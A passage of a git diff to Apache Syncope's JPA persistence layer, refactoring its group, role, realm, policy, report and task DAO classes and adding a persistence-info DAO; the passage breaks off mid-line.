-560,7 +632,7 @@ public List findUDynMembers(final Group group) { } Query query = entityManager().createNativeQuery( - "SELECT any_id FROM " + UDYNMEMB_TABLE + " WHERE group_id=?"); + "SELECT DISTINCT any_id FROM " + UDYNMEMB_TABLE + " WHERE group_id=?"); query.setParameter(1, group.getKey()); List result = new ArrayList<>(); @@ -589,25 +661,19 @@ protected List findWithUDynMemberships() { @Transactional @Override public Pair, Set> refreshDynMemberships(final User user) { - Query query = entityManager().createNativeQuery( - "SELECT group_id FROM " + JPAGroupDAO.UDYNMEMB_TABLE + " WHERE any_id=?"); - query.setParameter(1, user.getKey()); - Set before = new HashSet<>(); Set after = new HashSet<>(); findWithUDynMemberships().forEach(memb -> { - boolean matches = anyMatchDAO.matches( - user, - buildDynMembershipCond(memb.getFIQLCond(), memb.getGroup().getRealm())); + boolean matches = anyMatchDAO.matches(user, buildDynMembershipCond(memb.getFIQLCond())); if (matches) { after.add(memb.getGroup().getKey()); } - Query find = entityManager().createNativeQuery( - "SELECT any_id FROM " + UDYNMEMB_TABLE + " WHERE group_id=? AND any_id=?"); - find.setParameter(1, memb.getGroup().getKey()); - find.setParameter(2, user.getKey()); - boolean existing = !find.getResultList().isEmpty(); + Query query = entityManager().createNativeQuery( + "SELECT COUNT(group_id) FROM " + UDYNMEMB_TABLE + " WHERE group_id=? AND any_id=?"); + query.setParameter(1, memb.getGroup().getKey()); + query.setParameter(2, user.getKey()); + boolean existing = ((Number) query.getSingleResult()).longValue() > 0; if (existing) { before.add(memb.getGroup().getKey()); } @@ -626,8 +692,8 @@ public Pair, Set> refreshDynMemberships(final User user) { delete.executeUpdate(); } - publisher.publishEvent( - new AnyLifecycleEvent<>(this, SyncDeltaType.UPDATE, memb.getGroup(), AuthContextUtils.getDomain())); + publisher.publishEvent(new EntityLifecycleEvent<>( + this, SyncDeltaType.UPDATE, memb.getGroup(), AuthContextUtils.getDomain())); }); return Pair.of(before, after); @@ -645,8 +711,8 @@ public Set removeDynMemberships(final User user) { dynGroups.forEach(group -> { before.add(group.getKey()); - publisher.publishEvent( - new AnyLifecycleEvent<>(this, SyncDeltaType.UPDATE, group, AuthContextUtils.getDomain())); + publisher.publishEvent(new EntityLifecycleEvent<>( + this, SyncDeltaType.UPDATE, group, AuthContextUtils.getDomain())); }); return before; diff --git a/core/persistence-jpa/src/main/java/org/apache/syncope/core/persistence/jpa/dao/JPAOIDCJWKSDAO.java b/core/persistence-jpa/src/main/java/org/apache/syncope/core/persistence/jpa/dao/JPAOIDCJWKSDAO.java index 3e1cd75ee5a..2edb514f675 100644 --- a/core/persistence-jpa/src/main/java/org/apache/syncope/core/persistence/jpa/dao/JPAOIDCJWKSDAO.java +++ b/core/persistence-jpa/src/main/java/org/apache/syncope/core/persistence/jpa/dao/JPAOIDCJWKSDAO.java @@ -31,8 +31,8 @@ public class JPAOIDCJWKSDAO extends AbstractDAO implements OIDCJWKSDAO @Override public OIDCJWKS get() { try { - TypedQuery query = entityManager(). - createQuery("SELECT e FROM " + JPAOIDCJWKS.class.getSimpleName() + " e", OIDCJWKS.class); + TypedQuery query = entityManager().createQuery( + "SELECT e FROM " + JPAOIDCJWKS.class.getSimpleName() + " e", OIDCJWKS.class); return query.getSingleResult(); } catch (final NoResultException e) { LOG.debug(e.getMessage()); @@ -47,8 +47,6 @@ public OIDCJWKS save(final OIDCJWKS jwks) { @Override public void delete() { - entityManager(). - createQuery("DELETE FROM " + JPAOIDCJWKS.class.getSimpleName()). - executeUpdate(); + entityManager().createQuery("DELETE FROM " + JPAOIDCJWKS.class.getSimpleName()).executeUpdate(); } } diff --git a/core/persistence-jpa/src/main/java/org/apache/syncope/core/persistence/jpa/dao/JPAPersistenceInfoDAO.java b/core/persistence-jpa/src/main/java/org/apache/syncope/core/persistence/jpa/dao/JPAPersistenceInfoDAO.java new file mode 100644 index 00000000000..66c80f70756 --- /dev/null +++ b/core/persistence-jpa/src/main/java/org/apache/syncope/core/persistence/jpa/dao/JPAPersistenceInfoDAO.java @@ -0,0 +1,107 @@ +/* + * Licensed to the Apache Software Foundation (ASF) under one + * or more contributor license agreements. See the NOTICE file + * distributed with this work for additional information + * regarding copyright ownership. The ASF licenses this file + * to you under the Apache License, Version 2.0 (the + * "License"); you may not use this file except in compliance + * with the License. You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, + * software distributed under the License is distributed on an + * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY + * KIND, either express or implied. See the License for the + * specific language governing permissions and limitations + * under the License. + */ +package org.apache.syncope.core.persistence.jpa.dao; + +import java.lang.reflect.Field; +import java.net.InetAddress; +import java.util.ArrayList; +import java.util.LinkedHashMap; +import java.util.List; +import java.util.Map; +import java.util.stream.Collectors; +import org.apache.commons.lang3.tuple.Triple; +import org.apache.openjpa.conf.OpenJPAConfiguration; +import org.apache.openjpa.event.RemoteCommitEventManager; +import org.apache.openjpa.event.RemoteCommitProvider; +import org.apache.openjpa.event.TCPRemoteCommitProvider; +import org.apache.openjpa.persistence.OpenJPAEntityManagerFactorySPI; +import org.apache.openjpa.persistence.OpenJPAPersistence; +import org.apache.syncope.core.persistence.api.dao.PersistenceInfoDAO; +import org.apache.syncope.core.persistence.api.entity.Entity; +import org.springframework.util.ClassUtils; +import org.springframework.util.ReflectionUtils; + +public class JPAPersistenceInfoDAO extends AbstractDAO implements PersistenceInfoDAO { + + @Override + public Map info() { + Map result = new LinkedHashMap<>(); + + OpenJPAEntityManagerFactorySPI emfspi = + (OpenJPAEntityManagerFactorySPI) OpenJPAPersistence.cast(entityManagerFactory()); + OpenJPAConfiguration conf = emfspi.getConfiguration(); + + Map properties = emfspi.getProperties(); + result.put("vendor", properties.get("VendorName")); + result.put("version", properties.get("VersionNumber")); + result.put("platform", properties.get("Platform")); + + Map remoteCommitProvider = new LinkedHashMap<>(); + result.put("remoteCommitProvider", remoteCommitProvider); + + RemoteCommitEventManager rcem = conf.getRemoteCommitEventManager(); + + remoteCommitProvider.put("remoteEventsEnabled", rcem.areRemoteEventsEnabled()); + remoteCommitProvider.put("transmitPersistedObjectIds", rcem.getTransmitPersistedObjectIds()); + remoteCommitProvider.put("failFast", rcem.isFailFast()); + + RemoteCommitProvider rcp = rcem.getRemoteCommitProvider(); + List> addresses = new ArrayList<>(); + if (rcp instanceof TCPRemoteCommitProvider) { + try { + Field addressesField = ReflectionUtils.findField(TCPRemoteCommitProvider.class, "_addresses"); + addressesField.setAccessible(true); + + Class hostClass = ClassUtils.forName( + "org.apache.openjpa.event.TCPRemoteCommitProvider$HostAddress", + ClassUtils.getDefaultClassLoader()); + Field addressField = ReflectionUtils.findField(hostClass, "_address"); + addressField.setAccessible(true); + Field portField = ReflectionUtils.findField(hostClass, "_port"); + portField.setAccessible(true); + Field isAvailableField = ReflectionUtils.findField(hostClass, "_isAvailable"); + isAvailableField.setAccessible(true); + + @SuppressWarnings("unchecked") + List hosts = (List) ReflectionUtils.getField(addressesField, rcp); + hosts.forEach(host -> { + InetAddress address = (InetAddress) ReflectionUtils.getField(addressField, host); + Integer port = (Integer) ReflectionUtils.getField(portField, host); + Boolean isAvailable = (Boolean) ReflectionUtils.getField(isAvailableField, host); + + addresses.add(Triple.of(address.getHostAddress(), port, isAvailable)); + }); + } catch (Exception e) { + LOG.error("Could not fetch information about TCPRemoteCommitProvider", e); + } + } + + remoteCommitProvider.put( + "addresses", + addresses.stream().map(address -> { + Map map = new LinkedHashMap<>(); + map.put("ip", address.getLeft()); + map.put("port", address.getMiddle()); + map.put("available", address.getRight()); + return map; + }).collect(Collectors.toList())); + + return result; + } +} diff --git a/core/persistence-jpa/src/main/java/org/apache/syncope/core/persistence/jpa/dao/JPAPolicyDAO.java b/core/persistence-jpa/src/main/java/org/apache/syncope/core/persistence/jpa/dao/JPAPolicyDAO.java index 63c1bc475da..32b5b03b483 100644 --- a/core/persistence-jpa/src/main/java/org/apache/syncope/core/persistence/jpa/dao/JPAPolicyDAO.java +++ b/core/persistence-jpa/src/main/java/org/apache/syncope/core/persistence/jpa/dao/JPAPolicyDAO.java @@ -38,6 +38,7 @@ import org.apache.syncope.core.persistence.api.entity.policy.PropagationPolicy; import org.apache.syncope.core.persistence.api.entity.policy.PullPolicy; import org.apache.syncope.core.persistence.api.entity.policy.PushPolicy; +import org.apache.syncope.core.persistence.api.entity.policy.TicketExpirationPolicy; import org.apache.syncope.core.persistence.jpa.entity.JPAExternalResource; import org.apache.syncope.core.persistence.jpa.entity.policy.AbstractPolicy; import org.apache.syncope.core.persistence.jpa.entity.policy.JPAAccessPolicy; @@ -50,6 +51,7 @@ import org.apache.syncope.core.persistence.jpa.entity.policy.JPAPullPolicy; import org.apache.syncope.core.persistence.jpa.entity.policy.JPAPushCorrelationRuleEntity; import org.apache.syncope.core.persistence.jpa.entity.policy.JPAPushPolicy; +import org.apache.syncope.core.persistence.jpa.entity.policy.JPATicketExpirationPolicy; public class JPAPolicyDAO extends AbstractDAO implements PolicyDAO { @@ -70,6 +72,8 @@ protected static Class getEntityRef ? JPAAccessPolicy.class : AttrReleasePolicy.class.isAssignableFrom(reference) ? JPAAttrReleasePolicy.class + : TicketExpirationPolicy.class.isAssignableFrom(reference) + ? JPATicketExpirationPolicy.class : null; } @@ -218,6 +222,11 @@ public void delete(final T policy) { casSPClientAppDAO.findByPolicy(policy).forEach(clientApp -> clientApp.setAttrReleasePolicy(null)); oidcRPClientAppDAO.findByPolicy(policy).forEach(clientApp -> clientApp.setAttrReleasePolicy(null)); saml2SPClientAppDAO.findByPolicy(policy).forEach(clientApp -> clientApp.setAttrReleasePolicy(null)); + } else if (policy instanceof TicketExpirationPolicy) { + realmDAO.findByPolicy(policy).forEach(realm -> realm.setTicketExpirationPolicy(null)); + casSPClientAppDAO.findByPolicy(policy).forEach(clientApp -> clientApp.setTicketExpirationPolicy(null)); + oidcRPClientAppDAO.findByPolicy(policy).forEach(clientApp -> clientApp.setTicketExpirationPolicy(null)); + saml2SPClientAppDAO.findByPolicy(policy).forEach(clientApp -> clientApp.setTicketExpirationPolicy(null)); } entityManager().remove(policy); diff --git a/core/persistence-jpa/src/main/java/org/apache/syncope/core/persistence/jpa/dao/JPARealmDAO.java b/core/persistence-jpa/src/main/java/org/apache/syncope/core/persistence/jpa/dao/JPARealmDAO.java index 000824a7004..d4d94ba8742 100644 --- a/core/persistence-jpa/src/main/java/org/apache/syncope/core/persistence/jpa/dao/JPARealmDAO.java +++ b/core/persistence-jpa/src/main/java/org/apache/syncope/core/persistence/jpa/dao/JPARealmDAO.java @@ -20,8 +20,10 @@ import java.util.ArrayList; import java.util.List; -import java.util.Optional; +import java.util.Set; +import java.util.stream.Collectors; import javax.persistence.NoResultException; +import javax.persistence.Query; import javax.persistence.TypedQuery; import org.apache.commons.lang3.StringUtils; import org.apache.syncope.common.lib.SyncopeConstants; @@ -39,21 +41,57 @@ import org.apache.syncope.core.persistence.api.entity.policy.Policy; import org.apache.syncope.core.persistence.api.entity.policy.PropagationPolicy; import org.apache.syncope.core.persistence.api.entity.policy.ProvisioningPolicy; +import org.apache.syncope.core.persistence.api.entity.policy.TicketExpirationPolicy; import org.apache.syncope.core.persistence.jpa.entity.JPARealm; +import org.apache.syncope.core.provisioning.api.event.EntityLifecycleEvent; +import org.apache.syncope.core.spring.security.AuthContextUtils; +import org.identityconnectors.framework.common.objects.SyncDeltaType; +import org.springframework.context.ApplicationEventPublisher; import org.springframework.transaction.annotation.Transactional; public class JPARealmDAO extends AbstractDAO implements RealmDAO { + protected static int setParameter(final List parameters, final Object parameter) { + parameters.add(parameter); + return parameters.size(); + } + + protected static StringBuilder buildDescendantsQuery( + final Set bases, + final String keyword, + final List parameters) { + + String basesClause = bases.stream(). + map(base -> "e.fullPath=?" + setParameter(parameters, base) + + " OR e.fullPath LIKE ?" + setParameter( + parameters, SyncopeConstants.ROOT_REALM.equals(base) ? "/%" : base + "/%")). + collect(Collectors.joining(" OR ")); + + StringBuilder queryString = new StringBuilder("SELECT e FROM "). + append(JPARealm.class.getSimpleName()).append(" e "). + append("WHERE (").append(basesClause).append(')'); + + if (keyword != null) { + queryString.append(" AND LOWER(e.name) LIKE ?"). + append(setParameter(parameters, "%" + keyword.replaceAll("_", "\\\\_").toLowerCase() + "%")); + } + + return queryString; + } + protected final RoleDAO roleDAO; - public JPARealmDAO(final RoleDAO roleDAO) { + protected final ApplicationEventPublisher publisher; + + public JPARealmDAO(final RoleDAO roleDAO, final ApplicationEventPublisher publisher) { this.roleDAO = roleDAO; + this.publisher = publisher; } @Override public Realm getRoot() { - TypedQuery query = entityManager().createQuery( - "SELECT e FROM " + JPARealm.class.getSimpleName() + " e WHERE e.parent IS NULL", Realm.class); + TypedQuery query = entityManager().createQuery("SELECT e FROM " + JPARealm.class.getSimpleName() + " e " + + "WHERE e.parent IS NULL", Realm.class); Realm result = null; try { @@ -82,36 +120,16 @@ public Realm findByFullPath(final String fullPath) { throw new MalformedPathException(fullPath); } - Realm root = getRoot(); - if (root == null) { - return null; - } + TypedQuery query = entityManager().createQuery("SELECT e FROM " + JPARealm.class.getSimpleName() + " e " + + "WHERE e.fullPath=:fullPath", Realm.class); + query.setParameter("fullPath", fullPath); - Realm current = root; - for (final String pathElement : fullPath.substring(1).split("/")) { - Optional first = findChildren(current).stream(). - filter(realm -> pathElement.equals(realm.getName())).findFirst(); - if (first.isPresent()) { - current = first.get(); - } else { - return null; - } + Realm result = null; + try { + result = query.getSingleResult(); + } catch (NoResultException e) { + LOG.debug("Root realm not found", e); } - return current; - } - - private List findSamePolicyChildren(final Realm realm, final T policy) { - List result = new ArrayList<>(); - - findChildren(realm).stream(). - filter(child -> (policy instanceof AccountPolicy - && child.getAccountPolicy() == null || policy.equals(child.getAccountPolicy())) - || (policy instanceof PasswordPolicy - && child.getPasswordPolicy() == null || policy.equals(child.getPasswordPolicy()))). - forEach(child -> { - result.add(child); - result.addAll(findSamePolicyChildren(child, policy)); - }); return result; } @@ -135,14 +153,100 @@ public List findByResource(final ExternalResource resource) { } @Override - public List findMatching(final String keyword) { - TypedQuery query = entityManager().createQuery("SELECT e FROM " + JPARealm.class.getSimpleName() + " e " - + "WHERE e.name LIKE :keyword", Realm.class); - query.setParameter("keyword", keyword); + public int countDescendants(final String base, final String keyword) { + return countDescendants(Set.of(base), keyword); + } + + @Override + public int countDescendants(final Set bases, final String keyword) { + List parameters = new ArrayList<>(); + + StringBuilder queryString = buildDescendantsQuery(bases, keyword, parameters); + Query query = entityManager().createQuery(StringUtils.replaceOnce( + queryString.toString(), + "SELECT e ", + "SELECT COUNT(e) ")); + + for (int i = 1; i <= parameters.size(); i++) { + query.setParameter(i, parameters.get(i - 1)); + } + + return ((Number) query.getSingleResult()).intValue(); + } + + @Override + public List findDescendants( + final String base, + final String keyword, + final int page, + final int itemsPerPage) { + + return findDescendants(Set.of(base), keyword, page, itemsPerPage); + } + + @Override + public List findDescendants( + final Set bases, + final String keyword, + final int page, + final int itemsPerPage) { + + List parameters = new ArrayList<>(); + + StringBuilder queryString = buildDescendantsQuery(bases, keyword, parameters); + TypedQuery query = entityManager().createQuery( + queryString.append(" ORDER BY e.fullPath").toString(), Realm.class); + + for (int i = 1; i <= parameters.size(); i++) { + query.setParameter(i, parameters.get(i - 1)); + } + + query.setFirstResult(itemsPerPage * (page <= 0 ? 0 : page - 1)); + + if (itemsPerPage > 0) { + query.setMaxResults(itemsPerPage); + } return query.getResultList(); } + @Override + public List findDescendants(final String base, final String prefix) { + List parameters = new ArrayList<>(); + + StringBuilder queryString = buildDescendantsQuery(Set.of(base), null, parameters); + TypedQuery query = entityManager().createQuery(queryString. + append(" AND (e.fullPath=?"). + append(setParameter(parameters, prefix)). + append(" OR e.fullPath LIKE ?"). + append(setParameter(parameters, SyncopeConstants.ROOT_REALM.equals(prefix) ? "/%" : prefix + "/%")). + append(')'). + append(" ORDER BY e.fullPath").toString(), + Realm.class); + + for (int i = 1; i <= parameters.size(); i++) { + query.setParameter(i, parameters.get(i - 1)); + } + + return query.getResultList().stream().map(Realm::getKey).collect(Collectors.toList()); + } + + protected List findSamePolicyChildren(final Realm realm, final T policy) { + List result = new ArrayList<>(); + + findChildren(realm).stream(). + filter(child -> (policy instanceof AccountPolicy + && child.getAccountPolicy() == null || policy.equals(child.getAccountPolicy())) + || (policy instanceof PasswordPolicy + && child.getPasswordPolicy() == null || policy.equals(child.getPasswordPolicy()))). + forEach(child -> { + result.add(child); + result.addAll(findSamePolicyChildren(child, policy)); + }); + + return result; + } + @Override public List findByPolicy(final T policy) { if (policy instanceof PropagationPolicy || policy instanceof ProvisioningPolicy) { @@ -160,6 +264,8 @@ public List findByPolicy(final T policy) { policyColumn = "accessPolicy"; } else if (policy instanceof AttrReleasePolicy) { policyColumn = "attrReleasePolicy"; + } else if (policy instanceof TicketExpirationPolicy) { + policyColumn = "ticketExpirationPolicy"; } TypedQuery query = entityManager().createQuery( @@ -186,7 +292,7 @@ public List findByLogicActions(final Implementation logicActions) { return query.getResultList(); } - private static void findAncestors(final List result, final Realm realm) { + protected void findAncestors(final List result, final Realm realm) { if (realm.getParent() != null && !result.contains(realm.getParent())) { result.add(realm.getParent()); findAncestors(result, realm.getParent()); @@ -210,50 +316,71 @@ public List findChildren(final Realm realm) { return query.getResultList(); } - private void findDescendants(final List result, final Realm realm) { - result.add(realm); - List children = findChildren(realm); - if (children != null) { - children.forEach(child -> findDescendants(result, child)); - } + protected String buildFullPath(final Realm realm) { + return realm.getParent() == null + ? SyncopeConstants.ROOT_REALM + : StringUtils.appendIfMissing(realm.getParent().getFullPath(), "/") + realm.getName(); } @Override - public List findDescendants(final Realm realm) { - List result = new ArrayList<>(); - findDescendants(result, realm); - return result; + public int count() { + Query query = entityManager().createNativeQuery( + "SELECT COUNT(id) FROM " + JPARealm.TABLE); + return ((Number) query.getSingleResult()).intValue(); } - @Transactional(readOnly = true) @Override - public List findAll() { - return findDescendants(getRoot()); + public List findAllKeys(final int page, final int itemsPerPage) { + Query query = entityManager().createNativeQuery("SELECT id FROM " + JPARealm.TABLE + " ORDER BY fullPath"); + + query.setFirstResult(itemsPerPage * (page <= 0 ? 0 : page - 1)); + + if (itemsPerPage > 0) { + query.setMaxResults(itemsPerPage); + } + + @SuppressWarnings("unchecked") + List raw = query.getResultList(); + return raw.stream().map(key -> key instanceof Object[] + ? (String) ((Object[]) key)[0] + : ((String) key)).collect(Collectors.toList()); } @Override public Realm save(final Realm realm) { - return entityManager().merge(realm); + String fullPathBefore = realm.getFullPath(); + String fullPathAfter = buildFullPath(realm); + if (!fullPathAfter.equals(fullPathBefore)) { + ((JPARealm) realm).setFullPath(fullPathAfter); + } + + Realm merged = entityManager().merge(realm); + + if (!fullPathAfter.equals(fullPathBefore)) { + findChildren(realm).forEach(this::save); + } + + publisher.publishEvent( + new EntityLifecycleEvent<>(this, SyncDeltaType.UPDATE, merged, AuthContextUtils.getDomain())); + + return merged; } @Override public void delete(final Realm realm) { - findDescendants(realm).forEach(toBeDeleted -> { + if (realm == null || realm.getParent() == null) { + return; + } + + findDescendants(realm.getFullPath(), null, -1, -1).forEach(toBeDeleted -> { roleDAO.findByRealm(toBeDeleted).forEach(role -> role.getRealms().remove(toBeDeleted)); toBeDeleted.setParent(null); entityManager().remove(toBeDeleted); - }); - } - - @Override - public void delete(final String key) { - Realm realm = find(key); - if (realm == null) { - return; - } - delete(realm); + publisher.publishEvent( + new EntityLifecycleEvent<>(this, SyncDeltaType.DELETE, toBeDeleted, AuthContextUtils.getDomain())); + }); } } diff --git a/core/persistence-jpa/src/main/java/org/apache/syncope/core/persistence/jpa/dao/JPAReportDAO.java b/core/persistence-jpa/src/main/java/org/apache/syncope/core/persistence/jpa/dao/JPAReportDAO.java index 71cc86c0219..230ef344a56 100644 --- a/core/persistence-jpa/src/main/java/org/apache/syncope/core/persistence/jpa/dao/JPAReportDAO.java +++ b/core/persistence-jpa/src/main/java/org/apache/syncope/core/persistence/jpa/dao/JPAReportDAO.java @@ -23,7 +23,6 @@ import org.apache.syncope.core.persistence.api.dao.ReportDAO; import org.apache.syncope.core.persistence.api.entity.Implementation; import org.apache.syncope.core.persistence.api.entity.Report; -import org.apache.syncope.core.persistence.api.entity.ReportTemplate; import org.apache.syncope.core.persistence.jpa.entity.JPAReport; import org.springframework.transaction.annotation.Transactional; @@ -36,21 +35,11 @@ public Report find(final String key) { } @Override - public List findByReportlet(final Implementation reportlet) { + public List findByDelegate(final Implementation delegate) { TypedQuery query = entityManager().createQuery( "SELECT e FROM " + JPAReport.class.getSimpleName() + " e " - + "WHERE :reportlet MEMBER OF e.reportlets", Report.class); - query.setParameter("reportlet", reportlet); - return query.getResultList(); - } - - @Transactional(readOnly = true) - @Override - public List findByTemplate(final ReportTemplate template) { - TypedQuery query = entityManager().createQuery( - "SELECT e FROM " + JPAReport.class.getSimpleName() + " e " - + "WHERE e.template=:template", Report.class); - query.setParameter("template", template); + + "WHERE e.jobDelegate=:delegate", Report.class); + query.setParameter("delegate", delegate); return query.getResultList(); } diff --git a/core/persistence-jpa/src/main/java/org/apache/syncope/core/persistence/jpa/dao/JPAReportTemplateDAO.java b/core/persistence-jpa/src/main/java/org/apache/syncope/core/persistence/jpa/dao/JPAReportTemplateDAO.java deleted file mode 100644 index 4b5de9b3e1d..00000000000 --- a/core/persistence-jpa/src/main/java/org/apache/syncope/core/persistence/jpa/dao/JPAReportTemplateDAO.java +++ /dev/null @@ -1,55 +0,0 @@ -/* - * Licensed to the Apache Software Foundation (ASF) under one - * or more contributor license agreements. See the NOTICE file - * distributed with this work for additional information - * regarding copyright ownership. The ASF licenses this file - * to you under the Apache License, Version 2.0 (the - * "License"); you may not use this file except in compliance - * with the License. You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, - * software distributed under the License is distributed on an - * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY - * KIND, either express or implied. See the License for the - * specific language governing permissions and limitations - * under the License. - */ -package org.apache.syncope.core.persistence.jpa.dao; - -import java.util.List; -import javax.persistence.TypedQuery; -import org.apache.syncope.core.persistence.api.dao.ReportTemplateDAO; -import org.apache.syncope.core.persistence.api.entity.ReportTemplate; -import org.apache.syncope.core.persistence.jpa.entity.JPAReportTemplate; - -public class JPAReportTemplateDAO extends AbstractDAO implements ReportTemplateDAO { - - @Override - public ReportTemplate find(final String key) { - return entityManager().find(JPAReportTemplate.class, key); - } - - @Override - public List findAll() { - TypedQuery query = entityManager().createQuery( - "SELECT e FROM " + JPAReportTemplate.class.getSimpleName() + " e", ReportTemplate.class); - return query.getResultList(); - } - - @Override - public ReportTemplate save(final ReportTemplate notification) { - return entityManager().merge(notification); - } - - @Override - public void delete(final String key) { - ReportTemplate template = find(key); - if (template == null) { - return; - } - - entityManager().remove(template); - } -} diff --git a/core/persistence-jpa/src/main/java/org/apache/syncope/core/persistence/jpa/dao/JPARoleDAO.java b/core/persistence-jpa/src/main/java/org/apache/syncope/core/persistence/jpa/dao/JPARoleDAO.java index 03d80be7d75..d6b49fbcc8e 100644 --- a/core/persistence-jpa/src/main/java/org/apache/syncope/core/persistence/jpa/dao/JPARoleDAO.java +++ b/core/persistence-jpa/src/main/java/org/apache/syncope/core/persistence/jpa/dao/JPARoleDAO.java @@ -35,7 +35,7 @@ import org.apache.syncope.core.persistence.api.search.SearchCondVisitor; import org.apache.syncope.core.persistence.jpa.entity.JPARole; import org.apache.syncope.core.persistence.jpa.entity.user.JPAUser; -import org.apache.syncope.core.provisioning.api.event.AnyLifecycleEvent; +import org.apache.syncope.core.provisioning.api.event.EntityLifecycleEvent; import org.apache.syncope.core.spring.security.AuthContextUtils; import org.identityconnectors.framework.common.objects.SyncDeltaType; import org.springframework.context.ApplicationEventPublisher; @@ -129,7 +129,7 @@ public Role saveAndRefreshDynMemberships(final Role role) { insert.executeUpdate(); publisher.publishEvent( - new AnyLifecycleEvent<>(this, SyncDeltaType.UPDATE, user, AuthContextUtils.getDomain())); + new EntityLifecycleEvent<>(this, SyncDeltaType.UPDATE, user, AuthContextUtils.getDomain())); }); } @@ -145,7 +145,7 @@ public void delete(final Role role) { query.getResultList().forEach(user -> { user.getRoles().remove(role); publisher.publishEvent( - new AnyLifecycleEvent<>(this, SyncDeltaType.UPDATE, user, AuthContextUtils.getDomain())); + new EntityLifecycleEvent<>(this, SyncDeltaType.UPDATE, user, AuthContextUtils.getDomain())); }); clearDynMembers(role); @@ -172,7 +172,8 @@ public List findDynMembers(final Role role) { return List.of(); } - Query query = entityManager().createNativeQuery("SELECT any_id FROM " + DYNMEMB_TABLE + " WHERE role_id=?"); + Query query = entityManager().createNativeQuery( + "SELECT DISTINCT any_id FROM " + DYNMEMB_TABLE + " WHERE role_id=?"); query.setParameter(1, role.getKey()); List result = new ArrayList<>(); @@ -202,9 +203,10 @@ public void refreshDynMemberships(final User user) { user, SearchCondConverter.convert(searchCondVisitor, role.getDynMembership().getFIQLCond())); Query find = entityManager().createNativeQuery( - "SELECT any_id FROM " + DYNMEMB_TABLE + " WHERE role_id=?"); - find.setParameter(1, role.getKey()); - boolean existing = !find.getResultList().isEmpty(); + "SELECT COUNT(role_id) FROM " + DYNMEMB_TABLE + " WHERE any_id=? AND role_id=?"); + find.setParameter(1, user.getKey()); + find.setParameter(2, role.getKey()); + boolean existing = ((Number) find.getSingleResult()).longValue() > 0; if (matches && !existing) { Query insert = entityManager().createNativeQuery( diff --git a/core/persistence-jpa/src/main/java/org/apache/syncope/core/persistence/jpa/dao/JPATaskDAO.java b/core/persistence-jpa/src/main/java/org/apache/syncope/core/persistence/jpa/dao/JPATaskDAO.java index 84aaef19017..0230673fd22 100644 --- a/core/persistence-jpa/src/main/java/org/apache/syncope/core/persistence/jpa/dao/JPATaskDAO.java +++ b/core/persistence-jpa/src/main/java/org/apache/syncope/core/persistence/jpa/dao/JPATaskDAO.java @@ -26,6 +26,7 @@ import java.util.Optional; import java.util.stream.Collectors; import javax.persistence.ManyToOne; +import javax.persistence.NoResultException; import javax.persistence.OneToMany; import javax.persistence.OneToOne; import javax.persistence.Query; @@ -50,8 +51,10 @@ import org.apache.syncope.core.persistence.api.entity.task.PushTask; import org.apache.syncope.core.persistence.api.entity.task.SchedTask; import org.apache.syncope.core.persistence.api.entity.task.Task; +import org.apache.syncope.core.persistence.api.entity.task.TaskUtils; import org.apache.syncope.core.persistence.api.entity.task.TaskUtilsFactory; import org.apache.syncope.core.persistence.jpa.entity.task.JPAMacroTask; +import org.apache.syncope.core.persistence.jpa.entity.task.JPAMacroTaskCommand; import org.apache.syncope.core.persistence.jpa.entity.task.JPANotificationTask; import org.apache.syncope.core.persistence.jpa.entity.task.JPAPropagationTask; import org.apache.syncope.core.persistence.jpa.entity.task.JPAPropagationTaskExec; @@ -104,6 +107,24 @@ public > T find(final TaskType type, final String key) { return (T) entityManager().find(taskUtilsFactory.getInstance(type).getTaskEntity(), key); } + @Transactional(readOnly = true) + @SuppressWarnings("unchecked") + @Override + public Optional findByName(final TaskType type, final String name) { + TaskUtils taskUtils = taskUtilsFactory.getInstance(type); + TypedQuery query = (TypedQuery) entityManager().createQuery( + "SELECT e FROM " + taskUtils.getTaskEntity().getSimpleName() + " e WHERE e.name = :name", + taskUtils.getTaskEntity()); + query.setParameter("name", name); + + try { + return Optional.of(query.getSingleResult()); + } catch (NoResultException e) { + LOG.debug("No task found with name {}", name, e); + return Optional.empty(); + } + } + @Override public Optional> find(final String key) { Task task = find(TaskType.SCHEDULED, key); @@ -178,14 +199,15 @@ public List findByRealm(final Realm realm) { @Override public List findByCommand(final Implementation command) { - TypedQuery query = entityManager().createQuery("SELECT e FROM " + JPAMacroTask.class.getSimpleName() - + " e WHERE :command MEMBER OF e.commands", MacroTask.class); + TypedQuery query = entityManager().createQuery( + "SELECT e.macroTask FROM " + JPAMacroTaskCommand.class.getSimpleName() + " e " + + "WHERE e.command=:command", MacroTask.class); query.setParameter("command", command); return query.getResultList(); } - protected final > StringBuilder buildFindAllQueryJPA(final TaskType type) { + protected final > StringBuilder buildFindAllQuery(final TaskType type) { StringBuilder builder = new StringBuilder("SELECT t FROM "). append(taskUtilsFactory.getInstance(type).getTaskEntity().getSimpleName()). append(" t WHERE "); @@ -205,7 +227,7 @@ protected final > StringBuilder buildFindAllQueryJPA(final Tas @Override @SuppressWarnings("unchecked") public > List findToExec(final TaskType type) { - StringBuilder queryString = buildFindAllQueryJPA(type).append("AND "); + StringBuilder queryString = buildFindAllQuery(type).append("AND "); if (type == TaskType.NOTIFICATION) { queryString.append("t.executed = false "); @@ -289,10 +311,12 @@ protected StringBuilder buildFindAllQuery( append(taskTable). append(".notification_id=?").append(setParameter(parameters, notification.getKey())); } - if (anyTypeKind != null && entityKey != null) { + if (anyTypeKind != null) { + queryString.append(" AND "). + append(taskTable).append(".anyTypeKind=?").append(setParameter(parameters, anyTypeKind.name())); + } + if (entityKey != null) { queryString.append(" AND "). - append(taskTable).append(".anyTypeKind=?").append(setParameter(parameters, anyTypeKind.name())). - append(" AND "). append(taskTable).append(".entityKey=?").append(setParameter(parameters, entityKey)); } if (type == TaskType.MACRO @@ -301,7 +325,7 @@ protected StringBuilder buildFindAllQuery( String realmKeysArg = AuthContextUtils.getAuthorizations().get(IdRepoEntitlement.TASK_LIST).stream(). map(realmDAO::findByFullPath). filter(Objects::nonNull). - flatMap(r -> realmDAO.findDescendants(r).stream()). + flatMap(r -> realmDAO.findDescendants(r.getFullPath(), null, -1, -1).stream()). map(Realm::getKey). distinct(). map(realmKey -> "?" + setParameter(parameters, realmKey)). @@ -476,6 +500,7 @@ public > T save(final T task) { } else if (task 